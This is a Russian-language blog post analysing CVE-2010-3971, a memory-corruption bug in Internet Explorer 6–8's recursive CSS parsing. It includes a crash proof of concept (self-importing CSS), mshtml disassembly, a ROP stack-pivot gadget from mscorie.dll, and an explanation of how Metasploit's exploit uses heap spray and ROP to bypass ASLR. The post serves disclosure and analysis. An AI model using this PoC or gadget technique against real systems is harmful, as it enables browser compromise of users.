Pull to refresh

Ошибка в рекурсивной обработке CSS в IE 6/7/8 (CVE-2010-3971)

Reading time2 min
Views1.1K
Не так давно, а точнее в начале декабря была раскрыта информация о найденной ошибке в рекурсивной обработке CSS в различных версиях IE. Представленный PoC мог только ронять браузер, но выжить из него чего то более осмысленное не могли до начала этой недели, пока в Metasploit не появился эксплойт с полноценной эксплуатацией этой уязвимости.

Первоначально PoC выглядел так:
<code>
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
</code>

<code of css.css>
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</code>


Ошибка кроется в повреждении памяти в парсере HTML страниц (mshtml.dll), в процессе обработки страниц содержащих рекурсивные включения CSS объект CStyleSheet::Notify удаляется и позже эта область памяти может быть использована для передачи управления произвольному коду.

mshtml!CSharedStyleSheet::Notify:
3ced63a5 8bff mov edi,edi
3ced63a7 55 push ebp
3ced63a8 8bec mov ebp,esp
3ced63aa 51 push ecx
3ced63ab 56 push esi
3ced63ac 8bb1d0000000 mov esi,dword ptr [ecx+0D0h] ; esi = 0x14
3ced63b2 57 push edi
3ced63b3 8bb9d8000000 mov edi,dword ptr [ecx+0D8h] ; pointer to array of CStyleSheet objects
3ced63b9 33c0 xor eax,eax
3ced63bb c1ee02 shr esi,2 ; esi = 0x5


В принципе в этой уязвимости нет ничего особо интересного, но вот реализация ее эксплуатации от рябят из Metasploit действительно заслуживает внимания. Интересно то, что помимо стандартного heap-spray, использовалась техника ROP (return oriented programming) через .NET, что достаточно не типично. А точнее использовалась особенность загрузки mscorie.dll от .NET Framework 2.0, которая была скомпилирована без флага и загружается всегда по одинаковому базовому адресу (0х63f00000). Это упущение со стороны разработчиков позволяет использовать техники ROP для вызова системных функций из шеллкода.

Пример stack pivot gadget для ROP:
mscorie!_chkstk+0x1b:
63f0575b 94 xchg eax,esp
63f0575c 8b00 mov eax,dword ptr [eax]
63f0575e 890424 mov dword ptr [esp],eax
63f05761 c3 ret

Microsoft выпустила вчера Security Advisory 2488013 по теме и видимо уязвимость будет закрыта в следующей пачке апдейтов. Пока граждане из MS рекомендуют использовать EMET (The Enhanced Mitigation Experience Toolkit) для противодействия обхода ASLR через выше описанный ROP вектор.
Tags:
Hubs:
+36
Comments15

Articles